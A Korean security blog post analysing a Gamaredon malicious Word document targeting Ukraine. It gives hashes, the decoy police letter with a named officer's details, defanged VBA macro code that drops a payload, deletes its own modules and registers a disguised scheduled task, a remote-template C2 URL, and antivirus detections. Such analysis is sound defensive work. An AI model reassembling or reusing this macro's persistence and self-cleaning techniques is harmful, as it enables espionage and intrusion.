꿈을꾸는 파랑새

오늘은 최근에 러시아 우크라이나 전쟁 러시아에서는 특수군사작전(최근 전쟁으로 변경하는 것 같음)에서 러시아 지원을 받는 해커 집단인 가마레돈(Gamaredon)은 최근 이번 전쟁에서 우크라이나 정부 기관에 침투해서 상당량의 정보를 빼오는 스파이 활동을 성공적으로 수행하고 있으며 러시아 정보총국(GRU) 산하의 해킹그룹 74455 부대도 가담을 하고 있습니다. 일단 악성코드는 문서로 돼 있으며 가마레돈(Gamaredon)에서 만들어 아마도 우크라이나 정부를 상대로 공격하는 것을 추측됩니다.
해당 악성코드는 보고서라고 돼 있고 마치 보고서를 보낸 것처럼 해서 공격을 수행합니다.
악성코드 해쉬값은 다음과 같습니다.
파일명:11D5421C.doc
사이즈:70.0 KB
MD5:ae23f779e9c36219f83bf8ea2e74f662
SHA-1:b74cf5c4b66e0de94875a6182fa40cdfa89096b9
SHA-256:9c6a6d73ea89f2891cf33fe47cdef721e9688c8154f967dad741794be085e48b

악성코드 실행 시 내용

ГОЛОВНЕ УПРАВЛІННЯ
НАЦІОНАЛЬНОЇ ПОЛІЦІЇ
В ДНІПРОПЕТРОВСЬКІЙ
ОБЛАСТІ
Дніпровське районне управління поліції
площа Троїцька, 2-а, м. Дніпро,
49100, тел.744-30-54,
E-mail: dvp_dnepr@dp.npu(.)gov(.)ua, сайт: http://www.dp.npu(.)gov(.)ua
код згідно з ЄДРПОУ 40108866
від____________20____ №_____________
Центрально-Чечелівський об’єднаний районний територіальний центр комплектування та соціальної підтримки
вул. Степана Бандери, 16
м. Дніпро,
49006
Відповідно до Закону України  «Про військовий обов’язок і військову службу», у зв’язку із присвоєнням спеціального звання поліції «лейтенант поліції», просимо Вас здійснити заміну військово-облікового документу (посвідчення про приписку до призовної дільниці № А/2001-25  від 28.02.2018, виданого Центрально-Чечелівським ОРВК) ПРОЦЬКОМУ Максиму Володимировичу, 2001 року народження, який на теперішній час перебуває на посаді оперуповноваженого сектору розкриття злочинів проти власності відділу кримінальної поліції Дніпровського районного управління поліції ГУНП в Дніпропетровській області.
대충 우크라이나어 번역
부서 경찰
드니프로페트로프스키에서
지역 드니프로 지역 경찰서
Troitska 광장, 2-a, 드니프로,
49100, 전화 744-30-54,
이메일: dvp_dnepr@dp.npu(.)gov(.)ua, 웹사이트: http://www.dp.npu(.)gov(.)ua
EDRPOU 40108866에 따른 코드
____________20____ 번호_____________에서
Central-Cchecheliv 통합 지구 영토 모집 및 사회 지원 센터
성. 스테파나 반데라, 16세
드니프로,
49006
우크라이나의 "군 복무 및 병역"법에 따라 특별 경찰 계급 "경위" 배정과 관련하여 군 등록 서류(징집소 등록 증명서)를 교체해 주시기 바랍니다. 2018년 2월 28일자 А/2001-25(Central Checheliv ORVK에서 발행) 2001년생 Maksym Volodymyrovych PROTSKOM에게 발행. 현재 드니프로 지역 경찰서의 재산범죄 수사부 운영 책임자로 재직하고 있음 Dnipropetrovsk 지역의 GUNP 부서.

악성코드 실행시 내용
악성코드 실행시 내용

해당 악성코드에 포함된 매크로 내용은 모듈 1, 모듈 2로 나누어져 있습니다.

모듈 1

Sub DEBRIS23914(h(a)irAT6)
 On Error Resume Ne(x)t
 loudHv1 = Environ("us(e)rprofile") (+) "\Contacts"
 Set jeann(e)gr8 = CreateOb(j)ect("scripting(.)filesystemobject")
 If Not jeann(e)gr8.FolderExists(loudHv1) Then
 jean(n)egr8.CreateFolder (l(o)udHv1)
 End If
 consumpti(o)nnw244 = loudHv1 (+) "\despise"
 jeannegr8.de(l)etefile lou(d)Hv1 (+) "\d*", False
 Set sequ(e)lPy914 = jeannegr8.c(r))eatetextfile(consumptionnw244, True, True)
 sequelPy91(4).write instr(u)ctionFR446(hai(r)AT6)
 sequelPy(9)14.Close
 citizensyz9(0)7 (consump(t)ionnw244)
 Set sticki(n)gQT9 = ActiveDoc(u)ment.VBProject
 For Each argu(m)entsiD795 In stic(k)ingQT9.vbcom(p)onents
 poseeX(8)47 = argum(e)ntsiD795.Type
 If poseeX(8)47 = 1 Or p(o)seeX847 = 2 Then
 sticki(n)gQT9.vbcomp(o)nents.Remove argu(m)entsiD795
 ElseIf po(s)eeX847 = 100 Then
 Set racesr(a)6 = arguments(i)D795.codemodule
 asid(e)If142 = ra(c)esra6.countoflines
 If asid(e)If142 > 0 Then
 Call races(r)a6.delet(e)lines(1, asideIf142)
 End If
 End If
 Next
 ActiveDoc(u)ment.Close savechan(g)esmisst (=) wdDoN(o)tSaveChanges
 End Sub
 Function ci(t)izensyz907(filena(m)e)
 Set beco(m)ech381 = CreateObject("sc(h)edule.service")
 Call become(c)h381(.)Connect
 Dim harass(f)s0
 Set harass(f)s0 (=) beco(m)ech381.getf(o)lder("\")
 Dim multiplexf(6)67
 Set multiplexf(6)67 = becomech3(8)1.newtask(0)
 Dim melonc(p)3
 Set melon(c)p3 = multiplex(f)667(.)reg(i)strationinfo
 meloncp3(.)Description = ""
 meloncp3.Au(t)hor = "admini(s)trator"
 Dim joyf(u)lVO8
 Set joyful(V)O8 = multip(l)exf667.settings
 joyful(V)O8(.)Enabled = True
 joyfulV(O)8.startwh(e)navailable = True
 joyfulV(O)8.Hidden = F(a)lse
 Dim prepar(a)tionsOS4
 Set preparati(o)nsOS4 = multip(l)exf667.triggers
 Dim a(c)heeH341
 Set ache(e)H341 = prepara(t)ionsOS4.create(2)
 acheeH341(.)daysinterval = 1
 Dim hearingg(d)136
 hearingg(d)136 = D(a)teAdd("s", 7, Now)
 acheeH341(.)sta(r)tboundary = oxLd9(he(a)ringgd136)
 ac(h)eeH341.ID = "deli(c)ious"
 achee(H)341.Enabled = True
 Dim mantl(e)aD9
 Set mantlea(D)9 = acheeH341(.)repetition
 mantleaD9(.)interval = "PT5M"
 continentale(v)397 = "wscript(.)exe"
 Dim actor(Q)C976
 Set actorQC9(7)6 = multiplexf667(.)actions.create(0)
 actorQC976.Path = contin(e)ntalev397
 posterz(e)996 = filename & " (/)/e" & Chr(5(8)) (+) "vbscript d(e)liberate
 delete derisive //b"
 actorQC976(.)arguments = poste(r)ze996
 Call harassfs0.registertaskdefini(t)ion("Microsoft-Windows-DiskDiag(n)
 osticDataCollector"(,) multiplexf667, 6, , , 3)
 'createobject("shell.application").shellexecute contine(n)talev397,
 posterze996, "", "", 0
 End Function
 Function E(n)glishbO935(incoming)
 Set quicklyR(t)1 = Cre(a)teObject("adodb(.)stream")
기타 등등

매크로 코드 해석

1.DEBRIS23914 서브 루틴:해당 부분은 파일 및 폴더를 조작하는 기능을 수행
현재 사용자의 프로필 경로를 가져와 Contacts 폴더를 생성
Contacts 폴더 내의 despise 폴더를 생성하고 해당 폴더 내의 모든 파일을 삭제
despise 폴더에 새로운 텍스트 파일을 만들고 해당 파일에 instructionFR446 함수로 전달된 데이터를 쓰고 저장
현재 문서(ActiveDocument)에서 VBProject를 얻어와서 모든 VBComponents를 반복하면서 타입이 1 또는 2인 경우 삭제하고 타입이 100인 경우 코드 모듈 내의 모든 라인을 삭제

악성코드에 포함이 된 매크로 코드
악성코드에 포함이 된 매크로 코드


문서를 저장하지 않고 닫음
2.citizensyz907 함수: 해당 함수는 스케줄링 서비스를 사용하여 주기적으로 특정한 작업을 수행하는 스케줄링 작업을 생성
주어진 파일 이름으로 새로운 작업을 생성하고 해당 작업을 특정 조건에 따라 설정
작업이 실행될 때 실행될 프로그램과 해당 프로그램에 전달될 인수를 설정하며 여기에서는 wscript.exe를 사용하여 VBScript를 실행 그리고 나서 스케줄링 작업을 등록
3.EnglishbO935 함수: 해당 함수는 주어진 문자열을 UTF-8 형식으로 인코딩하고 다시 디코딩
4.instructionFR446 함수: 해당 함수는 Base64로 인코딩된 데이터를 디코딩하여 반환하고 msxml2(.)domdocument(.)3.0 을 사용하여 XML 엘리먼트를 생성하고 Base64 형식의 데이터를 디코딩하여 반환
5. oxLd9 함수: 해당 함수는 날짜 및 시간 값을 받아와 ISO 8601 형식으로 변환
합니다.
모듈 2도 있으나 해당 부분도 비슷해서 통과

DNS

county(.)neat1(.)detroito(.)ru
detroito(.)ru

Remote template

http(:)//county.neat1(.)detroito(.)ru/PC-POLICE-2/classes/percent/luke/classes(.)drf

문서 안에 포함이 되어져 있는 악성코드 주소
문서 안에 포함이 되어져 있는 악성코드 주소

그리고 해당 악성코드 문서를 HEX 로 열어 줍니다.
그리고 나서 보면 악성코드 주소가 포함된 곳은 다음과 같습니다.
2024-02-08 09:49:29 UTC 기준 바이러스토탈에서 탐지하는 보안 업체들은 다음과 같습니다.
Acronis (Static ML):Suspicious
ALYac:Trojan.Downloader.DOC.Gen
Antiy-AVL:Trojan/MSOffice.Agent
Avast:Script:SNH-gen [Trj]
AVG:Script:SNH-gen [Trj]
Avira (no cloud):HEUR/Macro.Downloader.AAK.Gen
Cynet:Malicious (score: 99)
Elastic:Malicious (high Confidence)
ESET-NOD32:DOC/TrojanDownloader.Agent.EVD
Fortinet:VBA/Valyria.6127!tr
GData:Generic.Trojan.Agent.X3MNSA
Google:Detected
Ikarus:Trojan.VB.Valyria
Jiangmin:Trojan.MSOffice.SAgent.aq
K7AntiVirus:Trojan (0001140e1)
K7GW:Trojan (0001140e1)
Kaspersky:UDS:DangerousObject.Multi.Generic
Kingsoft:Win32.Troj.Undef.a
Lionic:Trojan.MSWord.Valyria.4!c
SentinelOne (Static ML):Static AI - Malicious OLE
Skyhigh (SWG):BehavesLike.OLE2.Bad-VBA.lr
Symantec:Trojan.Gen.MBT
Tencent:Trojan.MsOffice.MacroS.12461147
Varist:W97M/Agent.DFG.gen!Eldorado
VirIT:W97M.M.Dwnldr.CHJG
ViRobot:DOC.Z.Agent.71680.AUX
WithSecure:Heuristic.HEUR/Macro.Downloader.AAK.Gen
ZoneAlarm by Check Point:HEUR:Trojan-Downloader.MSOffice.Agent.
입니다. 이처럼 평시이든 전시이든 간에 각 국가는 언제나 상대국의 정보를 하나라도 더 얻으려고 노력을 하고 있고 현실은 평화롭지만, 인터넷상에서는 이렇게 상대방의 정보를 캐내려고 접근을 하고 있기 때문에 항상 조심을 하고 대비를 해야 합니다.

공유하기

facebook twitter kakaoTalk kakaostory naver band